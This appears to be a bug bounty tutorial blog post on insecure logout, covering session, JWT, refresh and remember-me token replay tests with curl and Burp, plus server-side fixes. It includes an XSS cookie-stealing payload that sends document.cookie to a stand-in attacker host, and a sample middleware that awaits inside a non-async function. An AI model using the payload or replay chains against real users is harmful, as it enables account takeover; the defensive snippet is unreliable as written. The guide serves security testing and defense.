Insecure Logout — Bug Bounty Guide 2026

By Devashish

Updated on:

Insecure-Logout
🐛 Bug Bounty Series

Insecure Logout —
Complete Bug Bounty Guide 2026

Insecure Logout allows attackers to reuse captured session tokens long after the victim has logged out. The logout button clears the browser — but if the server never invalidates the session, whoever has the token still has full access to the account.

🏆 OWASP A07:2021 🟠 Medium → High 🎯 Beginner 🔑 Session Management 💀 Chains to Critical

🔍 What is Insecure Logout?

Insecure Logout occurs when an application fails to properly terminate a user’s session server-side upon logout. The session token, JWT, or cookie remains valid on the server even after the user clicks logout — creating a window where anyone who captured that token can replay it for full authenticated access.

Insecure Logout diagram showing attacker replaying captured session token after victim has logged out of the application

Insecure Logout — server does not invalidate session, attacker replays old token

💡 Core Concept

Insecure Logout = the server forgot to destroy the session. The logout button only tells the browser to forget the token. If the server does not mark the session as invalid, the token is still a valid key — whoever has it can use it, from any device, at any time, until the token naturally expires.

👶 Beginner Explanation

You log out of your bank website. The browser deletes the session cookie. But the server still has your session ID in its database, still active. If someone had captured that cookie earlier — via XSS, network sniffing, or even browser history — they can paste it into their browser and they are logged in as you. The server has no idea you tried to logout.

🟠 High — JWT replay, remember-me token not revoked
🔵 Medium — Session cookie valid post-logout
🔴 Critical — When chained with XSS or shared computer scenario

🔑 7 Token Types to Test After Logout

🍪 Session Cookie
Traditional server-side session ID — most common type
Cookie: session=abc123
HIGH
🔐 JWT Access Token
Stateless signed token — server has no record to invalidate
Authorization: Bearer eyJ…
HIGH
🔄 JWT Refresh Token
Long-lived token to generate new access tokens — often forgotten
Cookie or response body
HIGH
📌 Remember-Me Token
Persistent auto-login token — lives 30+ days, survives logout
Cookie: remember_me=xxx
HIGH
🌐 OAuth Access Token
Third-party provider token — app logout may not revoke it
Authorization header
MEDIUM
🗝️ API Key
Static long-lived key — rarely revoked even when user logs out
X-API-Key header
MEDIUM
📱 Mobile App Token
Device-bound token stored in app storage — often not revoked
App local storage / keychain
HIGH
⚠️ Most Missed Token

JWT refresh tokens are the most commonly overlooked. Developers invalidate the access token on logout but leave the refresh token in the database. An attacker with the refresh token can generate new access tokens indefinitely — even after the user logs out and changes their password.

📊 Insecure Logout — Quick Reference Table

FieldDetails
VulnerabilityInsecure Logout
Also Known AsImproper Session Termination, Incomplete Logout, Token Not Invalidated, Session Persistence
OWASPA07:2021 — Identification and Authentication Failures
CVE Score4.0 – 7.5 (higher when chained)
SeverityMedium → High (Critical when chained with XSS or shared device)
Root CauseServer does not call session.destroy(); JWT blacklist not implemented; refresh token not deleted
Where to CheckSession cookies, JWT tokens, remember-me cookies, refresh tokens, OAuth tokens after logout
Best ToolsBurp Suite, curl, Python requests, jwt_tool, browser DevTools
Practice LabsPortSwigger Authentication Labs, HackTheBox, TryHackMe, OWASP WebGoat
DifficultyBeginner — one of the easiest vulnerabilities to test and confirm
Severity EscalatorLong token lifetime + cross-device replay = maximum impact proof
Related VulnsAuthentication Bypass, XSS, Information Disclosure

🧠 Manual Testing for Insecure Logout

📌 Golden Rule

Always test the API endpoint directly, not just the browser logout button. The UI may clear the cookie visually, but the API test confirms whether the server actually invalidated the session. These are completely different things.

Phase 1 — Session Cookie Test

Start Here — Most Common
1
Capture Session Token Before Logout
Login → Burp HTTP History → find Set-Cookie in login response. Or use DevTools → Application → Cookies. Copy the full session value.
2
Confirm Token Works (Baseline)
Use the captured token to call an authenticated endpoint and confirm it returns your user data — this is your baseline proof that the token was valid.
3
Logout Then Immediately Replay Old Token
Click logout in the browser or call POST /api/logout. Then replay the old captured token to the same authenticated endpoint. 200 OK = confirmed vulnerability.
Session Cookie Replay Test
# Step 1: Login and save session
curl -c cookies.txt -X POST https://target.com/api/login \
     -H 'Content-Type: application/json' \
     -d '{"email":"test@test.com","password":"test"}'

# Step 2: Confirm token works (baseline)
curl -b cookies.txt https://target.com/api/me
# Should return: {"user_id":1001,"email":"test@test.com"}

# Step 3: Logout
curl -b cookies.txt -X POST https://target.com/api/logout

# Step 4: Replay old token immediately after logout
curl -b cookies.txt https://target.com/api/me

# SECURE:   HTTP/1.1 401 Unauthorized
# VULNERABLE: HTTP/1.1 200 OK + user data returned

Phase 2 — JWT Token Test

JWT Replay After Logout
# Step 1: Login — capture JWT
POST /api/login  →  Response: {
  "access_token":  "eyJhbGciOiJIUzI1NiJ9.eyJ...",
  "refresh_token": "eyJhbGciOiJIUzI1NiJ9.eyJ..."
}

# Step 2: Decode to check expiry
python3 jwt_tool.py ACCESS_TOKEN
# {"user_id":1001, "role":"user", "exp":9999999999}

# Step 3: Logout
POST /api/auth/logout
Authorization: Bearer ACCESS_TOKEN

# Step 4: Replay access token after logout
GET /api/me
Authorization: Bearer ACCESS_TOKEN
# 200 OK → JWT not blacklisted → VULNERABLE

# Step 5: Test refresh token after logout
POST /api/auth/refresh
{"refresh_token": "REFRESH_TOKEN"}
# New access token returned → refresh not revoked → VULNERABLE

Phase 3 — Remember-Me Token Test

Remember-Me Persistence Test
# Login with remember_me enabled
POST /api/login
{"email":"test@test.com", "password":"test", "remember_me":true}

# Response sets long-lived cookie:
Set-Cookie: remember_me=LONG_TOKEN; Max-Age=2592000

# Logout (standard session ends)
POST /api/logout

# Replay remember_me token
curl -H "Cookie: remember_me=LONG_TOKEN" https://target.com/api/me
# 200 OK → remember_me not revoked → can auto-login as victim

Phase 4 — Multi-Session and Cross-Device Test

Cross-Device Replay — Maximum Proof
# Step 1: Capture token on Device A
# Step 2: Logout on Device A

# Step 3: Replay token from Device B (different IP)
curl -H "Cookie: session=CAPTURED_TOKEN" \
     -H "X-Forwarded-For: 203.0.113.1" \
     https://target.com/api/me
# 200 OK from different IP = proven server-side flaw
# This is your highest-impact proof for the bug report

Phase 5 — Token Lifetime Measurement

Measure the Vulnerability Window
# After confirming insecure logout — measure how long token stays valid
# This directly determines severity and bounty amount

t=0min  → 200 OK  (token valid immediately after logout)
t=30min → 200 OK  (still valid 30 minutes later)
t=2hrs  → 200 OK  (still valid 2 hours later!)
t=8hrs  → 200 OK  (valid entire workday!)
t=24hrs → 401     (finally expired)

# 24-hour window = HIGH severity
# 30-day window  = CRITICAL severity
# No expiry      = CRITICAL severity

🤖 Tools for Insecure Logout Testing

🔬 Burp Suite
Capture token in HTTP History. Replay in Repeater after logout. Quickest manual verification method.
Proxy → HTTP History → Repeater → replay post-logout
🌐 curl
Save cookies with -c flag, replay with -b flag. Works for session cookies and custom headers.
curl -c cookies.txt ... ; curl -b cookies.txt /api/me
🐍 Python
Automate the full test: login → save → logout → replay → report. Includes all token types.
requests.get(url, cookies={'session': old_token})
🔐 jwt_tool
Decode JWT to check expiry claim. Verify token is still within its exp window after logout.
python3 jwt_tool.py TOKEN → shows exp timestamp
🖥️ DevTools
Application → Cookies → copy session value before logout. Network tab to see raw requests.
F12 → Application → Cookies → copy value
📮 Postman
Set Authorization header or Cookie manually. Easy GUI for testing JWT Bearer tokens after logout.
Authorization: Bearer [paste old JWT here]

🔥 Burp Suite — Insecure Logout Guide

1
Capture Token and Send to Repeater
Login → HTTP History → find any authenticated GET request (like GET /api/me) → right-click → Send to Repeater (Ctrl+R). This request already has your session cookie.
2
Send Baseline Request — Confirm 200
In Repeater, click Send. Confirm you get 200 OK with your user data. This is your pre-logout baseline.
3
Logout in Browser
In your browser, click the logout button. Confirm the app redirects you to the login page. Do NOT touch Burp Repeater during this step.
4
Replay Old Request in Repeater
Back in Burp Repeater — click Send again with the same old cookie. The Repeater still has the original session value from Step 1.
5
Analyse Response
200 OK + user data = Insecure Logout confirmed — session not invalidated server-side. 401 Unauthorized = properly secured. Document response, status code, and user data visible.

💣 Advanced Insecure Logout Techniques

XSS + Insecure Logout → Critical Chain

XSS + Insecure Logout = Critical
# Step 1: Inject XSS payload to steal session
<script>
fetch('https://attacker.com/steal?c=' + document.cookie)
</script>

# Step 2: Victim visits page → token sent to attacker.com

# Step 3: Victim believes they are safe → clicks Logout

# Step 4: Attacker replays captured token (server never invalidated it)
curl -H "Cookie: session=STOLEN_TOKEN" https://target.com/api/me
# 200 OK — attacker still has full access

# Why this is Critical:
# Victim took the correct security action (logout)
# Logout gave false sense of security
# Attacker maintains permanent access indefinitely

Refresh Token Not Revoked — Bypass Blacklist

Refresh Token Bypass
# Many apps blacklist access tokens but forget refresh tokens

# Step 1: Login → capture both tokens
access_token  = "eyJ... (short-lived, 15 min)"
refresh_token = "eyJ... (long-lived, 30 days)"

# Step 2: Logout → access_token blacklisted
POST /api/auth/logout  →  access_token invalidated

# Step 3: Use refresh token to get new access token
POST /api/auth/refresh
{"refresh_token": "CAPTURED_REFRESH_TOKEN"}
# Response: {"access_token": "new_valid_token"}
# Infinite new tokens despite logout — full access maintained

No Idle Session Timeout — Parallel Finding

Idle Session Lifetime Test
# Test without logging out — just close browser and wait
# Shows missing idle timeout (separate but related finding)

t=0    → login, capture token
t=1hr  → curl -b cookies.txt /api/me → 200 (active!)
t=4hrs → curl -b cookies.txt /api/me → 200 (still active!)
t=8hrs → curl -b cookies.txt /api/me → 200 (entire workday!)
t=24hr → curl -b cookies.txt /api/me → 401 (finally expired)

# Report both: Insecure Logout + Missing Idle Timeout
# Two findings, doubled bounty

🔗 Real Insecure Logout Bug Chains

🎯
XSS Steals Token → Victim Logs Out → Attacker Persists
XSS injects document.cookie steal → victim’s token sent to attacker → victim clicks logout thinking they are safe → attacker replays token → full account access indefinitely
CRITICAL 💰
Public WiFi Sniff → Token Captured → Replay After Logout
Attacker sniffs traffic on café WiFi → captures session cookie in HTTP (non-HTTPS) → victim finishes browsing and logs out → attacker uses token from different network
HIGH 💰
💻
Shared Computer → DevTools → Copy Token → Next User Access
User logs out of shared library computer → next person opens DevTools → checks browser storage → session cookie still cached → full access to previous user’s account
HIGH 💰
🔄
Refresh Token Not Revoked → Infinite New Access Tokens
App blacklists access token on logout → attacker has refresh_token from earlier → POST /api/auth/refresh → new access token every 15 minutes → permanent access
HIGH 💰
📌
Remember-Me Token Survives Logout → Weeks of Access
Attacker captures remember_me cookie via XSS → victim logs out → remember_me cookie still valid for 30 days → attacker auto-logins as victim for a month
HIGH 💰
🔗
Insecure Logout + IDOR → Mass Data Access
Replay old token → still authenticated → use token with IDOR to enumerate all user IDs → mass PII data exfiltration long after supposed logout
CRITICAL 💰

🛡️ Defense Against Insecure Logout

✅ The Core Fix

Always invalidate the session server-side on logout. Call session.destroy() or equivalent. For JWTs: delete the refresh token from the database AND add the access token ID to a Redis blacklist. Never rely on client-side token deletion alone.

FrameworkSecure FixWhat It Does
Express/Nodereq.session.destroy(callback)Destroys server-side session record immediately
Djangorequest.session.flush()Flushes all session data from server store
PHPsession_destroy() + setcookie(expired)Destroys session and expires the cookie
Spring Bootsession.invalidate() + SecurityContextHolder.clearContext()Clears security context and HTTP session
LaravelAuth::logout(); $request->session()->invalidate()Logs out user and invalidates session
JWT (all)Store token ID in Redis blacklist on logoutCheck blacklist on every request; auto-expire entries
Refresh TokenDELETE FROM refresh_tokens WHERE user_id = ? on logoutPermanently removes refresh token from database
OAuthCall provider token revocation endpointRevokes third-party access server-side
JWT Blacklist Implementation (Node.js + Redis)
const redis = require('redis');
const client = redis.createClient();

// On logout — blacklist the token until it expires
app.post('/api/logout', authenticate, async (req, res) => {
    const token = req.headers.authorization.split(' ')[1];
    const decoded = jwt.decode(token);
    const ttl = decoded.exp - Math.floor(Date.now() / 1000);

    // Add token ID to blacklist with TTL matching token expiry
    await client.setEx(`blacklist:${decoded.jti}`, ttl, 'true');

    // Also delete refresh token from database
    await db.query('DELETE FROM refresh_tokens WHERE user_id = ?', [decoded.user_id]);

    res.json({ message: 'Logged out successfully' });
});

// On every request — check blacklist
function authenticate(req, res, next) {
    const token = req.headers.authorization?.split(' ')[1];
    const decoded = jwt.verify(token, process.env.JWT_SECRET);
    const isBlacklisted = await client.get(`blacklist:${decoded.jti}`);
    if (isBlacklisted) return res.status(401).json({error: 'Token revoked'});
    next();
}
📋 Security Checklist

☑ Call session.destroy() / session.flush() / session.invalidate() on EVERY logout
☑ For JWTs: implement Redis blacklist OR use very short expiry (15 min max)
☑ Delete refresh tokens from database on logout
☑ Revoke OAuth access tokens via provider revocation endpoint
☑ Implement idle session timeout (30 min for sensitive apps)
☑ Provide “logout all devices” / “revoke all sessions” functionality
☑ On password change: revoke ALL existing sessions including current one
☑ Set cookies with Secure + HttpOnly + SameSite=Strict flags always

🧠 Key Takeaways — Insecure Logout

  • Insecure Logout = the server forgot to destroy the session. Logout only cleared the browser, not the server.
  • Always test the API endpoint directly with the old token — not just the browser logout button
  • Test ALL token types separately: session cookie, JWT access, JWT refresh, remember-me, OAuth token
  • JWT refresh tokens are the most commonly forgotten — test them even when access tokens are blacklisted
  • Cross-device replay is your strongest proof — it shows the flaw is server-side, not client-side caching
  • Document the exact token lifetime window — 8-hour = High, 30-day = Critical, no expiry = Critical
  • Combine with XSS for Critical impact: steal token via XSS → victim logs out → attacker maintains access
  • Test logout all devices functionality — most apps only kill the current session, leaving others active
  • Idle timeout missing is a parallel finding — document both in your report for maximum bounty
  • Shared computer scenario dramatically raises severity — always mention it in your bug report context
💰 Severity & Bounty Rule

Session valid 1 second after logout = Informational. Valid 8 hours = Medium/High. Valid 30 days = High/Critical. Valid from a different IP and device = maximum proof. The three-step report: (1) token captured pre-logout, (2) logout confirmed via 200 on POST /logout, (3) same token returns 200 on GET /api/me from a different device/IP. That proof pays the highest bounty.

💬 Found this Insecure Logout guide helpful? Share it!

Related Posts

BOPLA – Broken Object Property Level Authorization

Authentication Bypass – Bug Bounty Guide 2026

Sensitive Information Disclosure –  Bug Bounty Guide 2026

Vertical Privilege Escalation – Bug Bounty Guide 2026

Devashish

I’m Devashish, a Bug Bounty Researcher and Cyber Security Analyst sharing practical insights — from beginner payloads to advanced exploitation chains — explained in a simple, clear way. Beyond cybersecurity, I’m passionate about technology, gadgets, and topics like health, cricket, politics, and people.

Leave a comment